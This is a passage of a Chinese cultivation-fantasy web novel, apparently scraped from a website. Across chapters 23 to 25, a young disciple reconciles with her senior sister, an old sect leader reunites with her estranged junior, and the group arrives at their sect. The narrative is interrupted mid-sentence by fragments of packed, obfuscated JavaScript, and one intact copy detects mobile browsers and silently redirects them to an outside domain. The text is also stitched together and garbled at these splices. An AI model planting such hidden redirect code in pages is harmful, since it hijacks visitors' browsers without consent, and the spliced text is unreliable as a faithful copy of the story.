这样想来,确实不应该…… “对不起。” “对不起!” 两人异口同声,但听清对方的话语后又双双愣住。 “师姐……?”汤穗穗率先开口,“师姐什么和我道歉?” “你不是觉得我最近过于沉迷话本,而忽视你了吗?”姬忘尘理所当然地开口,她反而不理解对方为什么向自己道歉,“你又是为什么?” 完全在汤穗穗意料之外的答案,难言的情绪涌上汤穗穗心头,眼前也被雾气笼罩,说出口的声音也有些颤抖,“……我、我以为……师姐会责骂我……” 汤穗穗很喜欢自己的师姐,师姐可以给她全部的安全感。哪怕师姐的话语不算很多,可她依旧能感觉到师姐心中丰富的情感,只是有些不善表达。直到现在,哪怕自己在江面上捅出那么大的篓子,对方都没有将这件事情记在心上。汤穗穗觉得自己很没用,完全辜负了师姐对自己的信任。 她越想越难过,泪珠不断涌出来,她收回一直拉着师姐的手,低着头捂脸抽泣。 “……因为江上的事情?”姬忘尘迟钝地回想起中午发生的事情,她并没有将这道小插曲放在心上,“可是你不是做的很好吗?” “……我们明明可以更快一步将它控制住的……”汤穗穗瘪着嘴抬头,眼眶红彤彤的,还不时轻轻吸鼻子,声音带着浓重的哭腔,“都怪我……” “这不怪你。”姬忘尘冷静地开口,她看着汤穗穗有些失控的情绪,理智地分析着,“本来我们几人让你这个才筑基的人参与除魔一事,就已经强人所难。你这段时间的表现已经是超常发挥了,不要把什么事都揽在自己身上。” 姬忘尘这句话说的是实话。汤穗穗正式修习心法的时间很短,不过是八年里都在她和秦无纪有意识地引导下完成了淬体,筑基比一般的人要快上不少而已。再加上她本身天赋异禀,才这么快摸到门道,跟着姬忘尘有模有样地除魔。 毕竟对方也只是一个刚入门的十六岁少女,能面对那么多魔物、这一路上不喊苦喊累,已经远超出她们的预期了。 因此,姬忘尘对汤穗穗一切的表现都归于合理的范畴。虽然说起来是两人协助除魔,但主力还是放在姬忘尘自己身上,最多分心引导对方更好的融合武艺和调动灵气而已。 “真要说起来,作为前辈的我们不是责任更大吗?”姬忘尘顿了顿补充,“所以汤穗穗,不管从哪个角度看,你都没必要将全部的错归咎于自己身上。” “可是、可是……”汤穗穗不觉得这是为难,她觉得这是师门的信任。 “更何况犯错是成长的必经之路。”姬忘尘想了想,将脑海中听过的教导话术转述给汤穗穗,“重要的是,我们每一次都要从错误中站起来,从错误中发现自己的问题并改正。” “师姐你也犯过错吗?”汤穗穗听着听着就偏了题。 “没有。”姬忘尘脱口而出,下意识垂眸掩盖住眼睛里的情绪,声音有些低,“我和他们不同,我……不能犯错。” “为什么?” “穗穗,”姬忘尘摇摇头,重新抬起来时又恢复了知心师姐的模样,从袋子里拿出手绢轻轻擦掉了对方脸上的泪痕,微笑着岔开了话题,“犯错并不是洪水猛兽,不需要这么郑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“师姐……”汤穗穗刚想张口说出买下这本书的意图,但被姬忘尘打断。 “中午的事情已经翻篇,你只要吸取教训就行。”姬忘尘想了想,“早上心法的事也翻篇,下不为例,明白了吗?” “好咧师姐!”汤穗穗忙不迭地点头,将书捧在心口,露出了得意洋洋的笑容,“我就知道师姐对我最好了!” 姬忘尘所说的话正和汤穗穗的心意,方才那些事情过去之后,她的脑海中立马想起了新买的两本话本,又一次被当时看到的只言片语给深深吸引住了。虽然她还是想把书送给师姐,但是她也按耐不住好奇地心情。 现在更好,她可以将两本书都看完之后,再一起送给师姐。 汤穗穗美滋滋地翻开话本,打算今晚一口气将两本书全部看完。不过她还没看上几页话本,只感觉重重的困意袭来,让她像小鸡啄米,忍不住一下一下地点着头。 “去床上睡吧,时间不早了。”姬忘尘将她手上的话本抽走。 “……嗯?我不困……”汤穗穗揉了揉眼睛,强打着精神开口,但实际上眼睛已经半闭起来。 “你不睡我要睡了。”姬忘尘换了个说法,挑眉看向她。 这下汤穗穗马上就接受了,她扫视房间一圈,房间里只有一张床。她闪着亮晶晶的眼睛看向师姐,心里的那些小算盘都写在脸上:“师姐要和我一起睡吗?我睡觉很乖的!” “……其实还有一张矮一些的床榻。”姬忘尘无情地戳破了她的幻想。不过她看着汤穗穗马上塌下去的肩膀,话锋一转,“不过床铺够大,挤两个人也还行。” “嗯嗯,师姐说得对!”汤穗穗率先拖了外衣跳上床,抱着被子滚到了床铺里面,跟汤穗穗展示剩余的空间,“师姐你看,床上位置可多啦!” “好。”姬忘尘将两人的话本放在桌上,起身吹灭了油灯,也躺到了床上。 汤穗穗躺在床上,脑海中忍不住回忆起今天发生的事情,才发现逛夜市还是昨天晚上发生的事情,这一切真的有些不可思议。这短短一天内所经历的,比她过去两个月都要凶险,甚至还结识了同宗门的师姐们。 直到现在,汤穗穗才对自己“入门”这件事有了实感。她忍不住畅想,在不久的以后,自己一定能够成为师姐的最大助力,帮助师姐在除魔的路上走得越来越远。 她带着这份对未来的远大的构想,进入了甜美的梦乡。 23.回宗 在汤穗穗一行人去赏江楼的时候,姚成带着秦无纪先一步回了宗门。当他们抵达宗门时,天色已经完全暗了下来。 “你是想现在去,还是……”姚成考虑到一路上舟车劳累,再加上江上两人联手耗费了不少灵力,如今应是倍感疲乏。 “现在吧。”秦无纪闭上眼轻轻地呼出胸口的浊气,她在船上听说了师姐的近况之后,一点都坐不住,现在就想马上见到师姐。 “好,那你做好心理准备。”姚成拍了拍她的肩膀提醒 姚成带着秦无纪走过那些熟悉的道路,来到如今宗主处理事务的房间。 只见房门紧闭,房间内灯火通明。 姚成在门口礼貌地敲了敲门:“师姐,我带师妹回来了。” 房间内的人静默了许久,四周十分安静,静得把他们的呼吸声放大,在几人中回响。 秦无纪看到对方这个样子,以为是不想看到自己,脾气上来什么都顾不得,直接转身就要往外走。姚成眼疾手快一把抓住她的手臂,她挣脱了几下没挣脱开,忍不住开口呛声:“她都不想见我,你拉着我做什么!” “师妹,并非不想见你,只是咳咳——”房间里传来了十分刺耳的咳嗽声,待那人调息过后,“算了,进来吧。” “好。” 姚成推开房门,秦无纪看到房间中还摆放着一个巨大的屏风,隐隐约约将后面书桌前的人影打了出来。秦无纪下意识地打量四周的环境,自她走后这里布置一直没变过。 “……师妹,”姚成还没有开口,屏风后的人影倒是先开口了。她的嗓音很低,嗓子里似乎夹杂着砂砾,带着很重的颗粒感,“我终于等到你回来了。” “师姐你的声音——”秦无纪下意识倒吸了一口气,酸涩涌上心头。但比起这个,她更关心为什么师姐的嗓子变成了现在的样子。 师姐曾经的嗓子十分明亮,可如今却变成了这样…… 这些年师姐究竟经历了什么? “咳咳……”书架后的人影刚想说些什么,咳嗽比话语更快冒出来。秦无纪很明显看到屏风上的人影十分用力地咳嗽着,每一声都咳到了她的心里。她下意识地抬脚上前,可她才刚挪动一步,就听到了师姐的喝止声。 “姚成!”宗主听到秦无纪的脚步声,顾不得自己的嗓子,用力地开口喊道。 姚成马上抓住秦无纪的手臂,阻拦了秦无纪往前的脚步。因为突然提高音量,宗主的咳嗽更严重了。秦无纪被姚成拦着,怎么都到不了宗主的面前。 “师姐……”宗主这咳嗽一连咳了好一会才缓过来,粗重的呼吸声把秦无纪的心脏也揪在一起,她几乎控制不止自己声音里的哭腔,“师姐……你还好吗?” “倘若旁人,我兴许会嘴硬说我还好。——可我不想骗你。”里面的人影笑了笑,声音虚虚的,语气里颇是无奈,“我还以为,我等不到你回来了。……当年的事我还是要跟你说声抱歉,但作为宗主,我没有选择。” “我知道的……我不怪你……”秦无纪泪如雨下,“我只是怕你觉得我太任性,不顾大局……” 姚成站在一旁,眼见此情此景,他也忍不住眼眶湿润。他等这一天等了许多年,希望现在为时不晚。 “怎么会呢?我过早地坐在这个位置,不得不为了大多数而考虑。”宗主扶着桌子起身,一步步走到屏风前,隔着屏风隐隐约约能看到师妹如今的模样,“你一直是我们中最清醒的,你也一直比我们都要勇敢。” 如今的师妹看起来比当时要成熟很多。她也见过姬忘尘如今的模样,想来在师妹的培养下,她应该度过了还不错的岁月。 “我很庆幸你当年所坚持的选择,我也很感激你当时没有让我们做下那个决定,”宗主有时候忍不住咳嗽,但她还是断断续续地说着,想要把这些年没有和师妹说的话全部说完,“……才让我们看到了现在的姬忘尘。” 秦无纪看着面前那个无法靠近的人影,伸出手虚虚贴在屏风上,似乎这样就能感受到屏风另一端师姐的体温:“……师姐,我想见见你。” “……我现在可跟当时不一样了,我还是希望你记得的,是年轻的我。” “可你永远是我的师姐,”秦无纪知道自己的师姐吃软不吃硬,她放柔了声音,就像以前一样和对方撒娇,只是这声音止不住颤抖,“师姐,我已经好久没见你了……我真的好想你……” “你可别笑话我……”宗主无可奈何地叹了口气,还是同意了。 她站在原地做了好一会的心理准备,扶着屏风从后面走了出来。诚然如她所言,如今的她身形瘦削,满头霜发。因为疾病和心法反噬的缘故,如今她眼窝深陷,面色发白,一身病态——比起当年意气风发的她要难看许多。 “师妹,如今的我,是不是比当年……”她低头避开了秦无纪的目光,一只手紧紧地抓着屏风,不自信地开口。 但回应她的,是扑过来抱着她瘦削的身躯嚎啕大哭的秦无纪。 “……好久不见。”宗主犹豫了许久,还是将手放在她的后背上,轻轻地拍打着,一如当年。她也忍不住将头也贴着对方,脸上露出释怀的笑容。 还好,在她生命即将走到尽头之际,还能见到师妹一面。 姚成顺势离开房间,顺手合上门。他靠在门外的柱子上,下意识地仰头看向夜空,夜空中只有满天繁星。 或许已离世的他们也看到了这场重逢吧。 “真适合喝上一杯啊……” 一缕阳光从窗户中钻入室内,床上的少女抱着被子睡得正香。但窗外叽叽喳喳的小鸟打断了她的美梦。她皱着眉伸手遮挡有些刺眼的阳光,捂着额头坐了起来,伸手揉了揉惺忪的睡眼,慵懒地伸了个懒腰。 汤穗穗的意识逐渐回笼,下意识在房间里寻找师姐的身影。不出她所料,姬忘尘早早起身,现在已不在房间内。 在床上磨蹭了一会,她终于起身洗了把脸就去到客栈楼下。此时,其余三位师姐都已经坐在厅堂,桌上还摆了几碗餐食。 昨晚几人告别之后,已经约定了次日在客栈楼下见面,待吃过早饭一齐上山。如今这三人应当是起了有一段时间,就等着自己呢。 汤穗穗还没有走近,就看到了有许多人路过时热情地和成洱师姐打招呼,他们都是从四面八方赶回来参加宗门大比的同辈们。成洱的人缘比她想象中还要好,几乎和所有人都能调侃上几句,还有人提出了组队的请求,不过都被成师姐四两拨千斤地岔开了话题。 那些人不仅仅认出了成、蓝二人,还对姬忘尘记忆深刻。 “你是……姬忘尘?!”有人意外在山下看到了姬忘尘的身影,随即调侃坐在她身边的蓝鄞这次又和榜首错过。 “穗穗,起来啦?”成洱越过人群率先看到她的身影,热情地招呼着她过来,“快过来看看你喜欢吃什么,等你吃完了我们就上山去。” “好!”汤穗穗笑着朝她们奔过去,点了一份馄饨。虽然不是什么山珍海味,但当热腾腾的馄饨下肚时,汤穗穗觉得自己整个人都被这股暖意包围,舒服地眯这眼。 在汤穗穗吃馄饨的时候,身边还有人陆陆续续跟成洱打着招呼。 “……好热情啊!”汤穗穗忍不住开口。 身旁的蓝鄞听到了汤穗穗的低语,笑着回应:“看吧,其实山上的同辈们并非都是昨天那样的人。” “昨天……”汤穗穗也想起昨天发生的事情。她很想问出自家师姐身上隐藏的秘密,但是贸然开口,总觉得有些冒犯。 “你想知道?”姬忘尘观察着汤穗穗的一举一动,更是对她写在脸上的好奇感到了然,“我可以讲给你听。” “算了,这有什么好讲的。”蓝鄞用手肘戳了姬忘尘,脸色愠怒,“别告诉你这个当事人都相信这些无稽之谈!” “你也知道?”姬忘尘有些意外蓝鄞的反应,她以为对方是不关心这些传言的人,“不过,那并非假话。” “得了吧。”蓝鄞满不在乎地挥手,一本正经地看向汤穗穗,“你师姐这种人出门,最容易被别人骗了,你可得看好她。” 汤穗穗缩了缩肩膀,选择不加入到蓝师姐批判师姐的行列里。她一边咀嚼着嘴里的馄饨,好奇地在人群中扫视着,忽然发现有一个鬼鬼祟祟的人影混在其中。这人与旁人行进的方向相反,因此她的动作显得格外明显。 这人熟练地借着旁人遮掩,正往外挪动着。汤穗穗拉了拉身旁师姐的手臂,想让师姐看看这人是什么来头。 蓝鄞沿着汤穗穗指示的方向望过去,瞬间认出了那人的身影,无奈地 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“……你自己想,我说的对不对。”成洱还是没忍住,伸手点了点对方的额头。虽然只是唐澄澄的师姐,但年龄上又大了对方十多年,对她总是忍不住像长辈那样操心。唐澄澄明明是和汤穗穗一样的年纪,但是跟她对待试炼的态度截然相反。 寻常时候,她总过于执着自己那些机械道具,宗门上的日常训练很是懈怠。 唐澄澄低着头,倔强地不肯为自己辩解丝毫。她知道成洱师姐是为了自己好,但是她有自己的想法,她不敢跟师姐开口,怕听到的是反对的声音。 “唐澄澄?我记得你。”姬忘尘开口打破了两人僵持的氛围,“我记得没错的话,‘寻踪印’就是你制作的吧,确实很有用。” 寻踪引就是蓝鄞被困在原地时掏出的物件,当时全靠那个物件才在结界中重新锁定了魔物的方向。姬忘尘曾经也用过,“寻踪引”比起常用的罗盘,可以在更小范围内更精确地导航出魔物的位置。 “师姐您居然知道我!”唐澄澄猛地抬头看向姬忘尘,脸上的神情变得十分惊喜。说起自己的作品,她还有些不好意思,不自再地挠挠头,“不过师姐谬赞了,那小物件能够帮上你们就好。” 成洱听到姬忘尘的话,紧绷的脸上还是没藏住自豪的神情。 “澄澄,你下山应该不是为了逃掉比试吧?”蓝鄞感受到气氛有所缓和,开口询问对方此行的目的。 唐澄澄小心翼翼地观察成洱师姐脸上的神情,抿了抿嘴,低声开口:“其实我只是想来书铺逛逛……” 最近她设计的物件有些地方卡壳了,书上的书籍她都翻遍了,还是一头雾水。正当她不知道从哪里突破的时候,忽然想起上回在书铺看到,但不够钱买下的书籍。她想趁师姐还没上山,赶紧买完再偷偷溜回山上去。 没想到这才刚下山,就迎面碰上师姐。 “那行,蓝师姐陪你去!”蓝鄞一拍桌子起身,双手搭在唐澄澄的肩上,转头跟剩下三人开口,“那你们一会先走,我和澄澄买完书就回去。” 成洱叹了口气,点点头同意了蓝鄞的提议。她知道唐澄澄对于这些事的痴迷程度,身旁要是有蓝鄞同行,不担心会误了时辰,也就放下心来。 说话间,汤穗穗的早餐也吃完了,五人就这样兵分两路。 她们走出客栈的时候,头上的太阳正尽情释放自己的热量。山下已经是六月天,天气变得十分炎热,周围百姓都穿上了轻薄的衣服。汤穗穗才后知后觉反应过来,她不用换上更轻薄的衣服就可以适应现在的温度。 怪不得以前师姐的衣服总是看起来那么单薄,汤穗穗以前还担心过师姐会不会冷——现在想来,真的是她多虑了。 成洱带着两人拐到城外,打开山门的禁制。在上山的路上,汤穗穗明显感觉到周围的气温有所降低,不时还有刺骨的山风吹过。如果只是寻常的普通人的话,说不定会因为这样的温度变化而患上风寒。 等汤穗穗终于走到乾坤宗的位置,才发现眼前的景象比自己想象中的气派得多。映入眼帘的是一整块开阔的平台,有些人在此处练武,不同的武器在他们舞动下显得得虎虎生威。往里看去,即使是她这样完全不懂建筑设计的人,都感觉到一股庄严肃穆的氛围。 24.赵宗主 正当汤穗穗打量着偌大的广场时,一个熟悉的人影朝她们走了过来。身旁的成洱拱手向对方行礼后,跟两人告别。 “怎么样穗穗,这周围的景象可还满意?”姚成也向成洱颔首示意,笑着调侃四处张望的汤穗穗。他一早就站在显眼的地方,等待着她们的到来。 “这里好气派啊!”汤穗穗眼睛发亮,兴奋地跑到姚成的面前,伸出手不停比划着乾坤宗的建筑,赞不绝口。 姚成看到她这样的反应,担心她不适应这里的环境的想法随即烟消云散。是了,像汤穗穗这样活泼好动的孩子,环境变化带给她更多的是新鲜感而非畏惧。 “好好好,那你可得看个够。一会师姐先带你去找地方住下,收拾好之后来议事堂一趟吧。”姚成笑弯了眼睛,带着长辈的宠溺伸手摸摸她的头,看向一旁冷静的姬忘尘解释道,“师姐她想见见你们,正巧拜师的仪式还有些步骤没完成,也顺便一道办了。” “好。”姬忘走近两人,点点头,表示自己了解。 等汤穗穗那股兴奋劲稍微淡了些,姬忘尘就带着她去找了负责内务的长老,给她们安排暂住的房间。 乾坤宗内担任内务的长老都是年纪稍长一些的前辈们,她们也曾奔波在除魔的最前方。后来年岁渐长,因为心法反噬和体内灵力流转不再流畅,也就逐渐从前方转到后方,留在宗内当些掌管杂务的长老,还会教导新入门的孩子们进行宗门训练。 站在她们面前的内务长老姓葛,习惯性地板着脸,神情严肃,乌发夹杂着些许霜白。辈分上虽是长老,其实也就比成洱师姐大上几岁。 “葛长老。”姬忘尘礼貌地行礼,表明了来意。 “姬、忘、尘。”葛长老一字一顿地念出姬忘尘的名字,审视的眼神上下扫视着面前的女子,似乎要从对方的身上找到什么痕迹。 汤穗穗缩在姬忘尘的身后,不敢直视面前的葛长老。她觉得葛长老是一个脾气古怪的女人,喊出师姐的名字之后就直直地盯得师姐,冷峻的眼神让她这个旁观者都觉得心里发毛。 “诚然如您所见,我还活着。”姬忘尘也习惯了她的态度,自然而然地回答。 “呵,那你也倒是命大。”葛长老语气不明地开口。 反倒是一旁的汤穗穗紧张地咽了咽口水,不知所措地站在师姐的身后,大脑飞速转动,思考要不要说些什么来打个圆场。 “你们就住一间。”但很快,葛长老移开了目光,拿出了一串钥匙扔在桌面,低头在本子上记录着什么,“没事别叫我。” “多谢。”姬忘尘再次礼貌道谢,上前一步拿了钥匙,跟汤穗穗说:“走吧。” 和葛长老告别之后,姬忘尘带着汤穗穗宗门上的居住的地方走去,并带她简单地认了认路。讲了一些宗门上的规定,宗门里的训练针对不同的阶段有不同的区分。姬忘尘这些结丹期往上的成员更倾向外出历练,而对于汤穗穗这些筑基期及以下的成员,每天都有定时的集体训练。 一听到有集体训练,而且还不跟师姐在一起,汤穗穗原本还高兴的心一下子降到了谷底。 这下,汤穗穗连师姐后面说什么都没留意听了,满脑子都环绕着跟师姐分开的噩耗。 在她努力消化着这一消息的时候,不知不觉就跟着师姐走到了议事堂,迎面碰上了姚成和其他两人从堂内走了出来。汤穗穗用灵气感应了一下,其中一个不仅年纪和姚师舅不相上下,连身上的气息都差不多;但另一个…… 那人身上的灵气却很稀薄,比自己身上的还不明显,不像是宗门中的人。再加上他身上那件厚实的狐裘披风,怎么看都像是山下的寻常百姓。 可寻常百姓怎么也到这山上来呢? 汤穗穗亲眼看到成师姐打开禁制的那一幕,难道这个人是浑水摸鱼进来的吗?但浑水摸鱼的人,会这么大大方方地来拜见宗主吗? 她有些想不明白。如果真是她猜测的那样,这场拜见不就是明晃晃的挑衅吗?但看起来,姚师舅和另一位长老不像是愠怒的模样,更像是对待什么客人? 她们看到三人的时候,那三人也看到了她们。姚成跟两人说了什么,走进了她们,笑着说:“抱歉,本来还想去亲自找你们的,没想到临时有些事情耽搁了。” “他们是……?”汤穗穗用眼神示意姚成身后的两人,好奇地发问。 “其中一位是我的同僚,姓陈,耳东陈。”姚成拍了拍穗穗的后背,示意她们往议事堂中走去,“另一位,暂时不便透露。” 在她们走后,那两人还站在原地,狐裘男子望着三人的方向若有所思。陈长老走到狐裘男子的面前,凭借自己的身形挡住对方的视线,笑着弯腰伸手指向前方。他的脸上虽是带笑,但这笑意不达眼底:“请吧。” “……抱歉,是我失礼了。”狐裘男子知道自己冒犯,连忙道歉,跟着陈长老离开了。 汤穗穗跟着师姐进入了议事堂内,宽敞的房间内摆上一个特制的屏风,隐约能看到屏风后坐在主位的人影。 “你们来了。”屏风后的人影开口了,声音即便沙哑也饱含威严,“你就是汤穗穗吧,真是可爱的小姑娘。” 昨晚宗主和秦无纪可以算得上是彻夜畅谈,聊了许多事情,因此宗主也对汤穗穗有所耳闻。此刻她看到了汤穗穗的到来,心中更是好奇。 “您认识我?”汤穗穗刚坐在两旁的椅子上,听到对方还认识自己,意外地瞪大了眼睛。看到了秦无纪从屏风后绕出来的身影,后知后觉反应过来,“我知道了,是师傅她们说的吧……宗主您好,我就是汤穗穗,热汤的汤,稻穗的穗。” 虽然她感觉到宗主身上有一股令人望而生畏的气息,但汤穗穗还是稳住了自己的心神,认认真真地自我介绍。毕竟从师姐她们的态度可以看出来,面前的这位长辈绝对没有恶意。 “你性格倒很是大方。”宗主心中本就存了考验的想法,并没有刻意收敛自己的威压。汤穗穗非但没有怯场,反而自然大方地回话,这让她的好感上升了不少。她满意地点点头,收敛起自己的威压,笑着向两人开口,“也别‘宗主’的叫,挺生疏的。我姓赵,是这二位的师姐,算上来也是你们的师姨。” “那你更喜欢我们叫你赵宗主,还是……”汤穗穗挠挠头,还是不太清楚,“赵师姨?” “如果可以,那当然越亲近的称呼越好。”赵宗主失笑,汤穗穗比她想象中更直言不讳一些。秦无纪和姚成坐在稍远的地方没有插嘴,他们感觉出来师姐的心情还不错,也忍不住扬起嘴角。 闲话家常说完了,接下来就该办正事了。赵宗主叫上一旁秦无纪,正式地给汤穗穗做完了拜入师门的结契流程。因为她们原先就做成了简单的仪式,所以补上宗门内的部分也不算多。 即便如此,等流程彻底之后,赵宗主又忍不住剧烈地咳嗽起来。秦无纪顾不得旁人,连忙跑到赵宗主的面前,将自己的灵力输送过去,以此缓解对方的不适。 赵宗主感觉自身状况好转之后,主动中断了灵力的连接,笑着摇摇头,轻声开口:“……我没事。” “……好,师姐多喝些水。”秦无纪知道自己拗不过师姐,主动让步给她倒了杯温水。看着她将温水喝下去后,紧锁的眉头才松开些许。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461780|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一场小插曲并不影响今天的谈话。等赵宗主的身体缓和后,又聊起了这次的宗门大比。这下汤穗穗总算是正式地听到了更为全面的介绍。 宗门大比是宗门内同辈间的比试,每五年举行一次。比试分为合作赛和个人赛,由合作赛选出优胜小组,再从优胜小组中选出个人赛的决胜者,夺魁者将会得到本次大赛的最终礼品。 优胜小组内若有汤穗穗这样的结丹期以下的成员,将不参与最后的个人赛比试,而是分到统一不计入名次的新秀赛。 “所以去年的礼品是什么?”汤穗穗很是好奇,看看了屏风后的人,又看了看身旁的师姐,她记得去年正是师姐夺魁。 姬忘尘也没有掩藏,伸手从随身的袋子拿出来,那是汤穗穗见到过的,一个可以通讯用的圆盘。 “这个圆盘可以实现实时传讯,只需要你拥有旁人的物件作为媒介,”赵宗主透过屏风看到两人的动作,笑着补充道,“只不过每次使用所耗费的灵力都是极大的。之所以当作优胜者的礼品,也是希望这样强大的物件能成为助力,而非路上的阻碍。” 说起这个物件的时候,赵宗主想起了制作它的人。本来那人还说会不断优化下去,争取以更少灵力就能调用,这样就不需要借助符纸也可以远距离地通讯。 只可惜,还没等到这物件的使用,那人就先一步离世。 听着赵宗主的解释,汤穗穗似懂非懂地点头,眼珠子一转问起了今年的礼物:“那今年会是什么?” “在角逐出冠军之前,这一切都是保密的。”姚成开口补充,忍不住讲起了道理,“这些只是比试的彩头,我们更希望大家能在比试中得到有效的成长,磨砺自己的心性……” “奖品明明就很重要啊……”汤穗穗瞥了一眼身旁滔滔不绝的姚成,用极小的音量反驳着。 正事讲完之后,闲话并没有持续很长的时间,姬忘尘看出赵宗主的身体不适,主动提出离开,汤穗穗连忙跟着师姐也开了口。赵宗主没有强留两人,顺势提出让姬忘尘带着汤穗穗周围逛逛,适应宗门的环境。 终于离开议事堂的时候,汤穗穗想起方才赵师姨的咳嗽,忍不住发问:“赵师姨的身体一直这么不好吗?” 姬忘尘点点头,又摇摇头:“准确来说,是常年使用心法反噬的代价。” “代价……吗?”汤穗穗心里说不出的难受,她记得师傅提起过心法会有代价,但师傅和姚师舅看起来都很健康的样子,所以她一直都没放在心上。此时突然被人提起,她才真正理解了所谓的“代价”。 “宗主以前很拼命,这是使用过量灵力而产生的影响。”姬忘尘言简意赅地开口,“原本还能控制,后来听说是情绪崩溃,直接放大了对身体的反噬。” “这样啊……”汤穗穗想起师姐平时的状态,咬了咬嘴唇,犹豫了很久还是担心地开口,“……师姐,有朝一日你也会受到反噬吗?” “我?”姬忘尘以为汤穗穗会先关心她本身,没想到话题竟然会转到自己的身上。不过她考虑到自身的情况,说了个中肯的答案,“我的情况比较特殊。可能会,也可能不会。” “……是因为那个传言吗?”汤穗穗站在原地看向师姐,“所以那个传言究竟是什么?” 姬忘尘听到了她的问话,也停下脚步,转过身认真地看着她。 她从来就没有想过隐瞒。可就在此刻,当她面对着汤穗穗担忧的眼神,她却怎么样都无法说出口。她能够看出来面前少女显而易见的担心,但不知为何她心中竟然萌生了一股逃避的感觉。 ……甚至希望,汤穗穗能永远都不知道。 25.传言 汤穗穗和面前沉默的师姐对视着,她感觉周遭的一切声音均被屏蔽,只听得到自己“砰砰”的心跳声。师姐的脸上分明没有变化,但她却捕捉到师姐眼底那一抹微不可查的……脆弱。 她以为自己看错了,师姐怎么可能会出现这样的情绪呢? 她正想看得更仔细些时,一道意料之外的声音打断了这场沉默。 “姬忘尘!” 汤穗穗往声音的来源看去,原来是方才去买书的两人也恰好回来了。 “你们在说什么呢?”蓝鄞没感受到两人间异常的氛围,熟练地将手肘搭在姬忘尘的肩膀,“要是没事的话,跟我比一场?” 蓝师姐果不其然又说起比试的事情。 “没什么。”汤穗穗想起蓝鄞师姐对传言不屑的态度,没有选择继续刚才的话题,乖巧地摇了摇头。 “那行,穗穗你跟着澄澄在周围转转,”蓝鄞一看到师姐,加快脚步上前,兴致勃勃地开口:“正好你在,省得我还得专门去找你。” 姬忘尘将闷在心中的浊气吐出来,避开了汤穗穗的视线,点头应下蓝鄞的邀约,留下一句“抱歉”,转身跟着蓝鄞走到外面的平台。 “你、你好……”唐澄澄站在原地,轻声细语地和汤穗穗打招呼,“我是唐澄澄,刚刚我们见过的。” “我记得你。”汤穗穗收回了视线,转头望向面前这个和自己年龄差不多的少女,眯眼笑着开口,“我是汤穗穗,热汤的汤,稻穗的穗。你好啊,很高兴认识你!” “可、可以的。”唐澄澄没有汤穗穗那么热情主动,为了避免被人误解,她补充道,“我是澄澈的澄。” “那可真是很特别的名字!”汤穗穗总是很热情地调动着谈话的气氛。 “这个名字是师姐给我起的,我很喜欢。”在对方真诚的笑容下,唐澄澄也不怎么紧张了,能放轻松和对方随意地调侃些什么。 唐澄澄带着她到处转了转,也吃了些宗门提供的吃食。正当她们聊得兴致高涨的时候,周围传来了几声沉闷的钟响。 汤穗穗还没反应过来,但一旁的唐澄澄脸色一变。转头对上穗穗迷茫的眼神,唐澄澄咬了咬牙做下决定,拉着她就往住宿的地方跑去,熟门熟路地绕到一个房间里,从怀里掏出钥匙。 仔细观察周围没有来人后,将门上的锁打开,轻轻推开门,拉着汤穗穗小心翼翼地跨过门槛。等两人都进入房间之后,她转身熟练地在门口中间夹了块暗红色的布条。 “……刚刚的钟声,”汤穗穗不明所以地跟在她身后,打量着周围,压低声音开口问道,“是代表发生什么事情了吗?” 现在正是白日,阳光从两侧的窗户打下来,房间里被照得十分明亮。唐澄澄带她来到一个杂物房,一排排的架子上放满了她看不懂的物件,有些物件还随意地堆放在地上。或许因为有人经常打扫的缘故,这件房间里的东西摆放虽然有些杂乱,但并未布满灰尘,墙角也没有生出蛛网。 “也没有,只是代表下午的训练要开始了。”唐澄澄脸上有些难为情,“我不想去,我想把新买的书看完。” “……”汤穗穗想过很多种理由,甚至怀疑是什么随机训练。她回想起刚才对方熟稔于心的动作,想来类似的事情一定没少干,这下总算知道初见时成师姐为什么那么生气了。 不过汤穗穗觉得对方对自己未免也太放心了,“……你不担心我把你的‘秘密’泄露出去?” “你不是那样的人。”唐澄澄摇摇头,笃定地开口。虽然她们认识的时间还不算长,但她相信师姐们的眼光。 “有眼光!”汤穗穗不知道对方心中所想,她学着成师姐的动作揽上对方的肩膀,“不过,你私自来这里,长老们不会生气吗?” “这里是葛长老的地方。”唐澄澄走到房间的最里面,那里摆着一张长约两米的长桌,她从桌子下拖出两张椅子,拿上放在一旁的布条擦了擦,“放心吧,我做的一切她都是知情的。” “……等等,葛长老,就是管内务的那位?”汤穗穗想起方才那位态度恶劣的长老,怎么听都和对方描述的形象联系不上。 “你也见到了?就是她,宗门里现在也只有一位葛长老。”唐澄澄看到对方的神情就知道她在想什么,按着汤穗穗坐在椅子上解释,“虽然葛长老看起来不近人情,其实她很好说话的。” “……嗯。”汤穗穗硬着头皮点点头,她既没看出来这位葛长老如何近人情,也没看出来对方怎么好说话,她现在还对葛长老锐利的扫视心有余悸。 “说起来,你是除了我和葛长老以外,第一个进来的人。” “那你对我可真好!”汤穗穗眼睛亮晶晶地看向唐澄澄,“你是不是还没有队伍,要不你也加入我们的队伍吧!” 第一阶段的小组赛,每组需要组满五人才有报名的资格,现在正巧她们队伍还有一个名额。 唐澄澄不好意思地挠挠头,连连摆手:“可是我能力很差,加入你们队伍不是就拖后腿吗?” “不会不会,还有我呢!”汤穗穗很有自知之明地拍了拍胸口,“而且我才不相信你是拖后腿的那种人!” 唐澄澄依然想要拒绝对方的提议,但在汤穗穗的不断劝说下,她也有些心动,顺势点头答应了。 解决了组队的大事,汤穗穗也放下心来。她将手放在桌上撑着脸,打量着周围。既然来都来了,她也对周围的器具很是好奇,“你能给我介绍介绍这些……大家伙吗?” 这句话可谓是说到了唐澄澄的心里。 她没想到对方会对这些东西感兴趣,连忙起身拉着汤穗穗从房间的入口重新往里走,有条不紊地介绍那些摆在架子上、被前人留下的半成品。 